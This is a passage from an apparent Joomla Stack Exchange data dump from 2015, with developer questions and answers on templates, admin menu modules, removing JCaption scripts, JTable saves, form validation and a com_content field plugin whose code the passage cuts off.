  <row Id="9579" PostTypeId="2" ParentId="9559" CreationDate="2015-04-21T17:22:10.007" Score="2" Body="&lt;p&gt;Try installing the template manually by uploading the template files to &lt;code&gt;ROOT/templates/tz_simplelove_joomla/&lt;/code&gt;. Create the directory if it doesn't exist, and overwrite any existing file if it does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now discover the template by going to &quot;Extensions manager -&gt; Discover&quot; (&lt;a href=&quot;http://www.joomlabamboo.com/blog/how-to-joomla/how-to-use-the-discover-tool-in-joomla-3&quot; rel=&quot;nofollow&quot;&gt;more details here&lt;/a&gt;). You should be able to re-install your template. &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-04-21T17:22:10.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9580" PostTypeId="2" ParentId="9429" CreationDate="2015-04-21T19:04:12.167" Score="7" Body="&lt;p&gt;We can develop an admin side component with the below code snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_custommenu.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input   = JFactory::getApplication()-&amp;gt;input;&#xA;$menu    = new JAdminCSSMenu;&#xA;$enabled = $input-&amp;gt;getBool('hidemainmenu') ? false : true;&#xA;&#xA;// Render the module layout&#xA;require JModuleHelper::getLayoutPath('mod_custommenu', $params-&amp;gt;get('layout', 'default'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code creates a menu object and load the default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$direction = $document-&amp;gt;direction == 'rtl' ? 'pull-right' : '';&#xA;require JModuleHelper::getLayoutPath('mod_custommenu', $enabled ? 'default_enabled' : 'default_disabled');&#xA;$menu-&amp;gt;renderMenu('menu', $enabled ? 'nav ' . $direction : 'nav disabled ' . $direction);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code will determine how the menu to be displayed.  Either enabled or disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;default_disabled.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu-&amp;gt;addChild(new JMenuNode(JText::_('Menu'), null, 'disabled'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code is just to display the greyed menu in case of disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;default_enabled.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu-&amp;gt;addChild(new JMenuNode(JText::_('Menu'), '#'), true);&#xA;$menu-&amp;gt;addChild(new JMenuNode(JText::_('Menu1'), '', 'class:menu1'), 1);&#xA;  $menu-&amp;gt;addChild(new JMenuNode(JText::_('Menu2'), '#', 'class:menu2'));&#xA;  $menu-&amp;gt;getParent();&#xA;$menu-&amp;gt;getParent();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code will add the menu and menu items.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-04-21T19:04:12.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9581" PostTypeId="1" CreationDate="2015-04-21T21:13:38.017" Score="10" ViewCount="5453" Body="&lt;p&gt;I want to delete &lt;strong&gt;JCaption&lt;/strong&gt; from head, jquery and jcaption file i deactivated with following methods:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unset($doc-&amp;gt;_scripts[JURI::root(true) . '/media/jui/js/jquery.min.js']);&#xA;unset($doc-&amp;gt;_scripts[JURI::root(true) . '/media/jui/js/jquery-noconflict.js']);&#xA;unset($doc-&amp;gt;_scripts[JURI::root(true) . '/media/jui/js/jquery-migrate.min.js']);&#xA;unset($doc-&amp;gt;_scripts[JURI::root(true) . '/media/system/js/caption.js']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To delete jcaption on previous versions where mootools in using is it's needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_script = preg_replace('%window\.addEvent\(\'load\',\s*function\(\)\s*{\s*new\s*JCaption\(\'img.caption\'\);\s*}\);\s*%', '', $this-&amp;gt;_script);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried also so to delete it on jquery but i don't have with &lt;em&gt;preg_replace()&lt;/em&gt; experience, what's to do to delete JCatpion from head?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_script = preg_replace('%jQuery\(window\)\.on(\'load\',\s*function\(\)\s*{\s*new\s*JCaption\(\'img.caption\');\s*}\);\s*%', '', $this-&amp;gt;_script);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2020-09-21T09:51:16.593" Title="Joomla 3.4.1 how to delete JCaption, called with jQuery?" Tags="|jquery|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9582" PostTypeId="2" ParentId="9561" CreationDate="2015-04-21T21:55:22.803" Score="1" Body="&lt;p&gt;I believe the issue is tied to the fact the DOM might not be ready by the time the method is called.  Another issue is Joomla still uses Mootools for a large portion of the core client side functionality, which also uses the $ as the library entry point.  You can use an IIFE (Immediately Instantiated Function Expression) to creatively handle this in combination with the jQuery ready event.  First add the jQuery version included with Joomla by executing the following method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then wrap your jQuery code like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($) {&#xA;    $(document).ready(function(){&#xA;&#xA;        // Insert code here, using $ instead of jQuery&#xA;&#xA;    });&#xA;}(jQuery));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should allow the function to be called.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-04-21T21:55:22.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9583" PostTypeId="1" AcceptedAnswerId="9626" CreationDate="2015-04-21T22:07:58.413" Score="4" ViewCount="761" Body="&lt;p&gt;With the recent Google update, a correctly configured &lt;code&gt;Robots.txt&lt;/code&gt; file is even more important than before. The updated &lt;code&gt;Robots.txt&lt;/code&gt; from Joomla now allows the templates directory (or rather does not &lt;em&gt;Disallow&lt;/em&gt; it). But I've seen cases where Google wants access to &lt;code&gt;/modules/&lt;/code&gt; (and also &lt;code&gt;/libraries/&lt;/code&gt; for sites using Gantry framework).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does the default &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/master/robots.txt.dist&quot; rel=&quot;noreferrer&quot;&gt;robots.txt&lt;/a&gt; file disallow these directories, when many extensions might require them?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-10-26T09:58:07.383" Title="Correct usage of robots.txt" Tags="|joomla-3.x|joomla-2.5|seo|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9584" PostTypeId="2" ParentId="9561" CreationDate="2015-04-21T22:48:13.570" Score="1" Body="&lt;p&gt;After few try, I found out Joomla have a bug with include JavaScript library, and I solve this problem by copy the code directly into the view/default template, by using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScriptDeclaration(&quot;&#xA;  //300 lines of ptTimeSelect code&#xA;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this help for others who meet the same problem.&lt;/p&gt;&#xA;" OwnerUserId="4101" LastActivityDate="2015-04-21T22:48:13.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9586" PostTypeId="2" ParentId="9567" CreationDate="2015-04-21T23:00:16.567" Score="5" Body="&lt;p&gt;You need to left join the header name when you create the query in your model getListQuery() method.  The actual code using the Joomla query object looks like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('a.id, a.header, a.parent_id, a.ordering, a.published');&#xA;$query-&amp;gt;from('#__records AS a');&#xA;&#xA;$query-&amp;gt;select('p.header as parent_name');&#xA;$query-&amp;gt;join('LEFT', '#__records AS p ON p.id = a.parent_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would be the official Joomla way to grab and use the actual name versus an ID. You can access the parent name name using the following in your views:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;item-&amp;gt;parent_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One side note is using pure MySQL syntax is not recommended, especially if you plan on releasing this component to JED (Joomla Extension Directory) as it will not work on any Joomla installations not using MySQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By exclusively using the Joomla DB abstraction classes to handle all DB CRUD operations, you're ensuring your component's code can work with any supported DB any particular Joomla installation is using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="1906" LastEditDate="2015-04-23T20:44:41.137" LastActivityDate="2015-04-23T20:44:41.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9587" PostTypeId="2" ParentId="9581" CreationDate="2015-04-22T05:18:02.977" Score="1" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($this-&amp;gt;_script['text/javascript']))&#xA;{&#xA;    $this-&amp;gt;_script['text/javascript'] = preg_replace('%window\.addEvent\    (\'load\',\s*function\(\)\s*{\s*new\s*JCaption\(\'img.caption\'\);\s*}\);\s*%',     '', $this-&amp;gt;_script['text/javascript']);&#xA;    if (empty($this-&amp;gt;_script['text/javascript']))&#xA;        unset($this-&amp;gt;_script['text/javascript']);&#xA;}&#xA;$this-&amp;gt;_scripts = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="12352" LastEditDate="2020-09-21T09:51:16.593" LastActivityDate="2020-09-21T09:51:16.593" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="9588" PostTypeId="1" CreationDate="2015-04-22T05:53:15.623" Score="1" ViewCount="675" Body="&lt;p&gt;I am working on a student management system.&lt;br&gt;&#xA;How can I add extra select field (e.g. select user, select class.) to com_content, so that I can assign the article to the specific student (e.g. mark-sheet) and the parent can also see his child student data (mark-sheet)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created user groups and access levels for all classes. For example a student log-in and can see his result but cannot see any other student's result, and same works for parent. &lt;/p&gt;&#xA;" OwnerUserId="1827" LastEditorUserId="126" LastEditDate="2016-01-21T22:58:30.927" LastActivityDate="2016-01-21T22:58:30.927" Title="Adding select user field in com_content to assign article to specific user" Tags="|joomla-3.x|user|com-content|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9589" PostTypeId="1" AcceptedAnswerId="9595" CreationDate="2015-04-22T06:37:41.407" Score="1" ViewCount="759" Body="&lt;p&gt;I'm using JTable for CRUD on my application. I've created method in model to save data in database&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add custom inputs &quot;created&quot; and &quot;created_by&quot; as shown in &quot;$custom_data&quot; variable and save it in database. Please note that, $form_data is getting saved successfully.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function create() {&#xA;        $table = $this-&amp;gt;getTable();&#xA;        $jinput = JFactory::getApplication()-&amp;gt;input-&amp;gt;post;&#xA;        $form_data = $jinput-&amp;gt;get('jform', array(), 'array');&#xA;        $custom_data = array(&#xA;            'created'       =&amp;gt; JFactory::getDate()-&amp;gt;toSql(),&#xA;            'created_by'    =&amp;gt; JFactory::getUser()-&amp;gt;id&#xA;        );&#xA;&#xA;        if (!$table-&amp;gt;save($form_data)) {&#xA;            JError::raiseNotice(500, $table-&amp;gt;getError());&#xA;            return FALSE;&#xA;        }&#xA;&#xA;        return $form_data;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-04-22T12:57:32.340" Title="How to set custom input data in Model" Tags="|joomla-3.x|jform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9590" PostTypeId="2" ParentId="9581" CreationDate="2015-04-22T06:40:37.743" Score="4" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_scripts = array();&#xA;unset($this-&amp;gt;_script['text/javascript']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-04-22T06:40:37.743" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9591" PostTypeId="2" ParentId="9589" CreationDate="2015-04-22T06:42:48.730" Score="1" Body="&lt;p&gt;I was able to solve this issue with following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just added $data = $form_data + $custom_data; Any other recommended method is appreciable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function create() {&#xA;        $table = $this-&amp;gt;getTable();&#xA;        $jinput = JFactory::getApplication()-&amp;gt;input-&amp;gt;post;&#xA;        $data = $jinput-&amp;gt;get('jform', array(), 'array');&#xA;        $custom_data = array(&#xA;            'created' =&amp;gt; JFactory::getDate()-&amp;gt;toSql(),&#xA;            'created_by' =&amp;gt; JFactory::getUser()-&amp;gt;id&#xA;        );&#xA;        $data += $custom_data;&#xA;        try {&#xA;            $table-&amp;gt;save($data);&#xA;        } catch (Exception $ex) {&#xA;            if ($ex-&amp;gt;getCode() == '404') {&#xA;                throw new Exception($e-&amp;gt;getMessage(), 404);&#xA;            } else {&#xA;                JFactory::getApplication()-&amp;gt;enqueueMessage(JText::_('COM_HELPDESK_ERROR_OCCURRED'), 'error');&#xA;            }&#xA;        }&#xA;&#xA;        $id = array(&#xA;            'id' =&amp;gt; $table-&amp;gt;id&#xA;        );&#xA;&#xA;        $data += $id;&#xA;&#xA;        return $data;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="2233" LastEditDate="2015-04-22T08:25:19.967" LastActivityDate="2015-04-22T08:25:19.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9592" PostTypeId="1" CreationDate="2015-04-22T09:45:59.683" Score="1" ViewCount="2563" Body="&lt;p&gt;This is the field in the admin side form which is ment to be required.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;exam_name&quot; &#xA;type=&quot;text&quot;&#xA;label=&quot;Name&quot;&#xA;required=&quot;true&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the form if I leave this field empty (null) then it shows a validation error Invalid Field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I leave a space then it submits the page and space stored in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to validate the form even a particular field is having space instead of empty?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2015-04-22T10:23:12.223" LastActivityDate="2015-12-22T17:49:15.657" Title="Form validation with fields having space as value" Tags="|joomla-3.x|administrator|form|validations|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9593" PostTypeId="2" ParentId="9592" CreationDate="2015-04-22T10:11:08.073" Score="1" Body="&lt;p&gt;You could use client side validation. So firstly, add the following to the form view (Choose one depending on your Joomla version)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.formvalidation'); // Joomla 3.3&#xA;JHtml::_('behavior.formvalidator');  // Joomla 3.4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add the &lt;code&gt;form-validate&lt;/code&gt; class to your form so it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form class=&quot;form-validate&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add the required classes to your form field like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;exam_name&quot; class=&quot;required validate-custom&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then apply the same to your form submit button, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; class=&quot;required validate-custom&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally, you can use the following jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    document.formvalidator.setHandler('custom', function (value) {&#xA;        // Perform your validation for blank spaces&#xA;        // You could use a regex or maybe trim the value&#xA;        // Whatever method you prefer&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-22T10:11:08.073" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9595" PostTypeId="2" ParentId="9589" CreationDate="2015-04-22T12:57:32.340" Score="2" Body="&lt;p&gt;You asked for another method, here it is :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best place for such operations IMHO is the bind method of the JTable class. Below is an example how to override this method in your JTable class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function bind($src, $ignore = array())&#xA;{&#xA;    // Call parent's bind method&#xA;    if (parent::bind($src, $ignore))&#xA;    {&#xA;        // Do the following only when it's a new item ($this-&amp;gt;id is 0 then)&#xA;        if (!$this-&amp;gt;id)&#xA;        {&#xA;            $this-&amp;gt;created = JFactory::getDate()-&amp;gt;toSql();&#xA;            $this-&amp;gt;created_by = JFactory::getUser()-&amp;gt;id;&#xA;        }&#xA;    }&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You don't need these lines anymore then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom_data = array(&#xA;    'created' =&amp;gt; JFactory::getDate()-&amp;gt;toSql(),&#xA;    'created_by' =&amp;gt; JFactory::getUser()-&amp;gt;id&#xA;);&#xA;$data += $custom_data;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You are calling $table-&gt;save() in your model and this method will automatically call the bind() method for you.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-04-22T12:57:32.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9596" PostTypeId="2" ParentId="9588" CreationDate="2015-04-22T14:01:02.213" Score="2" Body="&lt;p&gt;This article shows you how to do that &#xA;&lt;a href=&quot;http://magazine.joomla.org/issues/issue-dec-2014/item/2402-adding-fields-to-com-content-the-smart-way&quot; rel=&quot;nofollow&quot;&gt;http://magazine.joomla.org/issues/issue-dec-2014/item/2402-adding-fields-to-com-content-the-smart-way&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://github.com/katalystsol/plg_content_ksextras&quot; rel=&quot;nofollow&quot;&gt;https://github.com/katalystsol/plg_content_ksextras&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it involves create a custom cotent plugin that hooks into Joomla's onContentPrepareForm() and onContentPrepareData() methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's a copy of the plugin's code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @copyright Copyright 2014 Katalyst Solutions, LLC. All Rights Reserved.&#xA; * @license    GNU General Public License version 2 or later;&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;jimport('joomla.plugin.plugin');&#xA;&#xA;/**&#xA; * This is a custom testimonial plugin class to add additional fields to com_content to allow it to be used for reviews/testimonials &#xA; * and output the data using schema.org/Review. It will add an additional tab called Testimonial&#xA; */&#xA;class plgContentKSExtras extends JPlugin&#xA;{&#xA;    /** var string Name of the plugin */&#xA;    protected $plg_name;&#xA;&#xA;    /** var array List of fields to look for in the $attribs */&#xA;    protected $ksfields;&#xA;&#xA;    /** var string The organization name */&#xA;    protected $organization;&#xA;&#xA;    /** var string Organization Type used for Schema.org */&#xA;    protected $organization_type;&#xA;&#xA;    /** var string Category */&#xA;    protected $category;&#xA;&#xA;    /** var boolean Limit plugin to selected category */&#xA;    protected $limit_to_category;&#xA;&#xA;    /** var boolean Include child categories */&#xA;    protected $include_child_categories;&#xA;&#xA;    public function __construct(&amp;amp; $subject, $config)&#xA;    {&#xA;        // We only want to use this with com_content&#xA;        $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;        $option = $jinput-&amp;gt;get('option');&#xA;        if ($option &amp;lt;&amp;gt; 'com_content')&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        parent::__construct($subject, $config);&#xA;&#xA;        $this-&amp;gt;plg_name                 = 'ksextras';&#xA;        $this-&amp;gt;ksfields                 = $this-&amp;gt;setKSFields();&#xA;&#xA;        // Get the plugin parameters&#xA;        $this-&amp;gt;organization             = $this-&amp;gt;params-&amp;gt;get('organization');&#xA;        $this-&amp;gt;organization_type        = $this-&amp;gt;params-&amp;gt;get('organization_type');&#xA;        $this-&amp;gt;category                 = $this-&amp;gt;params-&amp;gt;get('category');&#xA;        $this-&amp;gt;limit_to_category        = $this-&amp;gt;params-&amp;gt;get('limit_to_category');&#xA;        $this-&amp;gt;include_child_categories = $this-&amp;gt;params-&amp;gt;get('include_child_categories');&#xA;&#xA;        // Load the language file for the plugin&#xA;        $this-&amp;gt;loadLanguage();&#xA;    }&#xA;&#xA;    /**&#xA;     * Set the values for the ksfields array&#xA;     * These should correspond to the fields in extras/testimonial.xml&#xA;     * These should not use the same name as any com_content attribs fields&#xA;     *&#xA;     * @return array&#xA;     */&#xA;    protected function setKSFields()&#xA;    {&#xA;        $ksfields = array (&#xA;            'testimonial_by',&#xA;            'author_job_title',&#xA;            'author_affiliation',&#xA;            'rating',&#xA;            'author_address',&#xA;            'author_locality',&#xA;            'author_region',&#xA;            'author_postal_code',&#xA;            'author_url',&#xA;        );&#xA;&#xA;        return $ksfields;&#xA;    }&#xA;&#xA;    /**&#xA;     * Prepare the form to add to the article edit&#xA;     *&#xA;     * @param object $form&#xA;     * @param object $data&#xA;     *&#xA;     * @return bool&#xA;     */&#xA;    public function onContentPrepareForm($form, $data)&#xA;    {&#xA;        // If the category id is set, then check if the plugin should be limited to a specific category&#xA;        if (!empty($data-&amp;gt;catid))&#xA;        {&#xA;            $this-&amp;gt;getChildCategories($data-&amp;gt;catid);&#xA;            if ($this-&amp;gt;limit_to_category &amp;amp;&amp;amp; !$this-&amp;gt;checkCategory($data-&amp;gt;catid))&#xA;            {&#xA;                return true;&#xA;            }&#xA;        }&#xA;&#xA;        if (!($form instanceof JForm))&#xA;        {&#xA;            $this-&amp;gt;_subject-&amp;gt;setError('JERROR_NOT_A_FORM');&#xA;            return false;&#xA;        }&#xA;&#xA;        // Check that we are manipulating a valid form&#xA;        $name = $form-&amp;gt;getName();&#xA;&#xA;        if (!in_array($name, array('com_content.article')))&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        // Add the extra fields to the form&#xA;        JForm::addFormPath(dirname(__FILE__) . '/extras');&#xA;        $form-&amp;gt;loadFile('testimonial', false);&#xA;&#xA;        // Load the data from table into the form&#xA;        $articleId = isset($data-&amp;gt;id) ? $data-&amp;gt;id : 0;&#xA;&#xA;        // If there is already an $articleId, then the article is in edit mode &#xA;        // and we need to retrieve the data from the database&#xA;        if ($articleId)&#xA;        {&#xA;            // Load the data from the database&#xA;            $db = JFactory::getDbo();&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;select('article_id, data');&#xA;            $query-&amp;gt;from('#__content_ksextras');&#xA;            $query-&amp;gt;where('article_id = '.$db-&amp;gt;Quote($articleId));&#xA;            $db-&amp;gt;setQuery($query);&#xA;&#xA;            $attribs = $db-&amp;gt;loadObject();&#xA;&#xA;            // Check for a database error.&#xA;            if ($db-&amp;gt;getErrorNum())&#xA;            {&#xA;                $this-&amp;gt;_subject-&amp;gt;setError($db-&amp;gt;getErrorMsg());&#xA;                return false;&#xA;            }&#xA;&#xA;            // json_decode the data&#xA;            if (!empty($attribs-&amp;gt;data))&#xA;            {&#xA;                $ksdata = json_decode(json_decode($attribs-&amp;gt;data));&#xA;            }&#xA;        }&#xA;&#xA;        // fill in the form with data&#xA;        if(isset($attribs))&#xA;        {&#xA;            foreach ($this-&amp;gt;ksfields as $ksfield)&#xA;            {&#xA;                $data-&amp;gt;attribs[$ksfield] = isset($ksdata-&amp;gt;$ksfield) ? $ksdata-&amp;gt;$ksfield : '';&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Runs on content preparation.&#xA;     * Called after the data for a JForm has been retrieved.&#xA;     *&#xA;     * @param   string  $context    The context for the data&#xA;     * @param   object  $data       An object containing the data for the form.&#xA;     *&#xA;     * @return boolean&#xA;     */&#xA;    public function onContentPrepareData($context, $data)&#xA;    {&#xA;        if (is_object($data))&#xA;        {&#xA;            $articleId = isset($data-&amp;gt;id) ? $data-&amp;gt;id : 0;&#xA;&#xA;            if ($articleId &amp;gt; 0)&#xA;            {&#xA;                // Load the data from the database&#xA;                $db = JFactory::getDbo();&#xA;                $query = $db-&amp;gt;getQuery(true);&#xA;                $query-&amp;gt;select('data');&#xA;                $query-&amp;gt;from('#__content_ksextras');&#xA;                $query-&amp;gt;where('article_id = '.$db-&amp;gt;Quote($articleId));&#xA;                $db-&amp;gt;setQuery($query);&#xA;                $results = $db-&amp;gt;loadObject();&#xA;&#xA;                // Check for a database error&#xA;                if ($db-&amp;gt;getErrorNum())&#xA;                {&#xA;                    $this-&amp;gt;_subject-&amp;gt;setError($db-&amp;gt;getErrorMsg());&#xA;                    return false;&#xA;                }&#xA;&#xA;                $ksdata = (count($results)) ? json_decode(json_decode($results-&amp;gt;data)) : new stdClass;&#xA;&#xA;                // Merge the data&#xA;                $data-&amp;gt;attribs = array();&#xA;&#xA;                foreach ($this-&amp;gt;ksfields as $ksfield)&#xA;                {&#xA;                    $data-&amp;gt;attribs[$ksfield] = isset($ksdata-&amp;gt;$ksfield) ? $ksdata-&amp;gt;$ksfield : '';&#xA;                }&#xA;            }&#xA;            else&#xA;            {&#xA;                // Load the form&#xA;                JForm::addFormPath(dirname(__FILE__).'/extras');&#xA;                $form = new JForm('com_content.article');&#xA;                $form-&amp;gt;loadFile('testimonial', false);&#xA;&#xA;                // Merge the default values&#xA;                $data-&amp;gt;attribs = array();&#xA;                foreach ($form-&amp;gt;getFieldset('attribs') as $field)&#xA;                {&#xA;                    $data-&amp;gt;attribs[] = array($field-&amp;gt;fieldname, $field-&amp;gt;value);&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Fires after content save post event hook to save custom data into #__content_ksextras&#xA;     *&#xA;     * @param $context&#xA;     * @param $data&#xA;     * @param $isNew&#xA;     *&#xA;     * @return bool&#xA;     */&#xA;    public function onContentAfterSave($context, $data, $isNew)&#xA;    {&#xA;        // Check if we are manipulating a valid form&#xA;        if (!in_array($context, array('com_content.article')))&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        // Get the article id or set to 0 if new article (it should have an id at this point)&#xA;        $articleId = isset($data-&amp;gt;id) ? $data-&amp;gt;id : 0;&#xA;&#xA;        // Get the attributes&#xA;        $attribs = json_decode($data-&amp;gt;attribs);&#xA;&#xA;        // Pull out the extra fields to insert into the table&#xA;        $ksattribs = array();&#xA;        foreach ($this-&amp;gt;ksfields as $ksfield)&#xA;        {&#xA;            $ksattribs[$ksfield] = isset($attribs-&amp;gt;$ksfield) ? $attribs-&amp;gt;$ksfield : '';&#xA;        }&#xA;        $ksattribs = json_encode($ksattribs);&#xA;&#xA;        // Get the database object&#xA;        $db = JFactory::getDbo();&#xA;&#xA;        // Check for an existing entry&#xA;        $db-&amp;gt;setQuery('SELECT COUNT(*) FROM #__content_ksextras WHERE article_id = '.$articleId);&#xA;        $res = $db-&amp;gt;loadResult();&#xA;&#xA;        // Updating or adding&#xA;        if (!empty($res)) // updating record&#xA;        {&#xA;            $this-&amp;gt;updateRecord($ksattribs, $articleId);&#xA;        }&#xA;        else // Adding a new record&#xA;        {&#xA;            $this-&amp;gt;insertRecord($ksattribs, $articleId);&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;    * Remove the data when the article is deleted&#xA;    *&#xA;    * Method is called before (after?) article data is deleted from the database&#xA;    *&#xA;    * @param string The context for the content passed to the plugin.&#xA;    * @param object The data relating to the content that was deleted.&#xA;    *&#xA;    * @return bool&#xA;    * @throws JException&#xA;    */&#xA;    public function onContentAfterDelete($context, $data)&#xA;    